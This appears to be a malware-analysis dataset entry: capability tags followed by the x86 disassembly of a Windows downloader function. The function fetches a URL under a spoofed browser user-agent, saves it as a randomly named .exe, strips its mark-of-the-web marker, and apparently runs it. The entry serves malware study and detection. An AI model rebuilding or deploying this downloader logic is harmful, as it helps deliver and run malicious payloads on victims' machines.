Function at 0x401150
Capabilities:
Bypass mark of the web
Check for time delay via gettickcount
Create http request
Delete file
Download and write a file
Download url
Query environment variable
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x848
mov eax, dword [0x40448c]
xor eax, ebp
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call sub.MSVCR90.dll_srand
add esp, 4
mov byte [ebp - 0x419], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call sub.MSVCR90.dll_srand
add esp, 4
push 0x104
lea eax, [ebp - 0x418]
push eax
push 0x403270
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0x7fff
idiv ecx
add edx, 0x2710
push edx
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0x7fff
idiv ecx
add edx, 0x2710
push edx
lea edx, [ebp - 0x418]
push edx
push 0x403280
lea eax, [ebp - 0x848]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_104.0.0.0_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x63c], eax
cmp dword [ebp - 0x63c], 0
je 0x401338
push 0
push 0
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x63c]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 0x420], eax
cmp dword [ebp - 0x420], 0
je 0x40132b
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x848]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x424], eax
cmp dword [ebp - 0x424], 0xffffffff
je 0x40131e
lea ecx, [ebp - 0x638]
push ecx
push 0x207
lea edx, [ebp - 0x210]
push edx
mov eax, dword [ebp - 0x420]
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x4012b7
cmp dword [ebp - 0x638], 0
je 0x4012b7
push 0
lea ecx, [ebp - 0x634]
push ecx
mov edx, dword [ebp - 0x638]
push edx
lea eax, [ebp - 0x210]
push eax
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x401264
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x848]
push eax
push 0x403378
lea ecx, [ebp - 0x630]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [ebp - 0x630]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x848]
push eax
call section..text
add esp, 4
movzx ecx, al
cmp ecx, 1
jne 0x40131e
mov byte [ebp - 0x419], 1
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x420]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0x63c]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
movzx edx, byte [ebp - 0x419]
test edx, edx
jne 0x401400
push 0x4baf0
call dword [sym.imp.KERNEL32.dll_Sleep]
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0x7fff
idiv ecx
add edx, 0x2710
push edx
call sub.MSVCR90.dll_rand
cdq
mov ecx, 0x7fff
idiv ecx
add edx, 0x2710
push edx
lea edx, [ebp - 0x418]
push edx
push str._s_d_d.exe
lea eax, [ebp - 0x848]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
push 0
push 0
lea ecx, [ebp - 0x848]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0
call sub.urlmon.dll_URLDownloadToFileW
test eax, eax
jne 0x401400
lea eax, [ebp - 0x848]
push eax
push 0x4033b8
lea ecx, [ebp - 0x630]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [ebp - 0x630]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x848]
push eax
call section..text
add esp, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402026
mov esp, ebp
pop ebp
ret